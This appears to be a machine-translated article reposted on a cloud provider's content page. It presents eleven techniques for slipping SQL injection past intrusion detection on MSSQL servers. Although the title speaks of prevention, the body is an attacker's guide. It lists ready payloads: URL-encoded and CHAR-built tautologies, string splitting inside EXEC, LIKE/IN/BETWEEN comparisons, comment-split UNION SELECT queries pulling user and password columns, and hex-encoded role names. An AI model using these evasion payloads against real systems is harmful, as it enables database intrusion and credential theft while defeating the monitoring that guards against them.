Summary of SQL Injection Intrusion Prevention Detection Technology

Source: Internet
Author: User
Tags mssql server

When we run SQL Injection on a server running IDS system, we often encounter a lot of trouble because our injection statements are filtered out, how to circumvent this kind of detection method has become a new technology. This article puts forward eleven ideas and methods for this technology, and discusses them with everyone.
I. Bypass Using encoding technology, such as URLEncode and ASCII code.
If or 1 = 1, % 6f % 72% 20% 31% 3d % 31
Test is CHAR (101) + CHAR (97) + CHAR (115) + CHAR (116)
2. Bypass by space. For example, if two spaces replace one space, use Tab instead of space, or delete all spaces, such as 'sword' = 'sword', due to the loose nature of mssql, we can remove spaces between or words without affecting the operation.
3. Use string judgment instead of the classic or 1 = 1 judgment bypass, for example, or 'sword' = 'sword'
4. bypass through the type conversion modifier N, for example, or 'sword' = N 'sword'. The uppercase N tells mssql server that the string is of the nvarchar type and plays the role of type conversion, the injection statement itself is not affected, but the knowledge-based pattern matching IDS can be avoided.
5. disassemble the string through the "+" sign and bypass it,
For example, or 'sword' = 'sw '+ 'ords'
; EXEC ('in' + 'sert into' + '..... ')
6. bypass through LIKE, for example, or 'sword' LIKE 'sw'
7. bypass through IN, such as or 'sword' IN ('sword ')
8. bypass through BETWEEN, for example, or 'sword' BETWEEN 'rw 'AND 'tw'
9. Pass> or <bypass, such
Or 'sword'> 'sw'
Or 'sword' <'tw'
Or 1 <3
10. Bypass Using comment statements:
Use/**/to replace spaces, such:
UNION/**/SELECT/**/user, pwd, from tbluser
Use/**/to separate sensitive words, such:
U/**/NION/**/SE/**/LECT/**/user, pwd from tbluser
11. Bypass with HEX. Generally, IDS cannot be detected.
0x730079007300610064006D0069006E00 = hex (sysadmin)
0x640062005F006F0077006E0065007200 = hex (db_owner)
The above eleven SQL Injection intrusion prevention detection technologies are for your reference.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.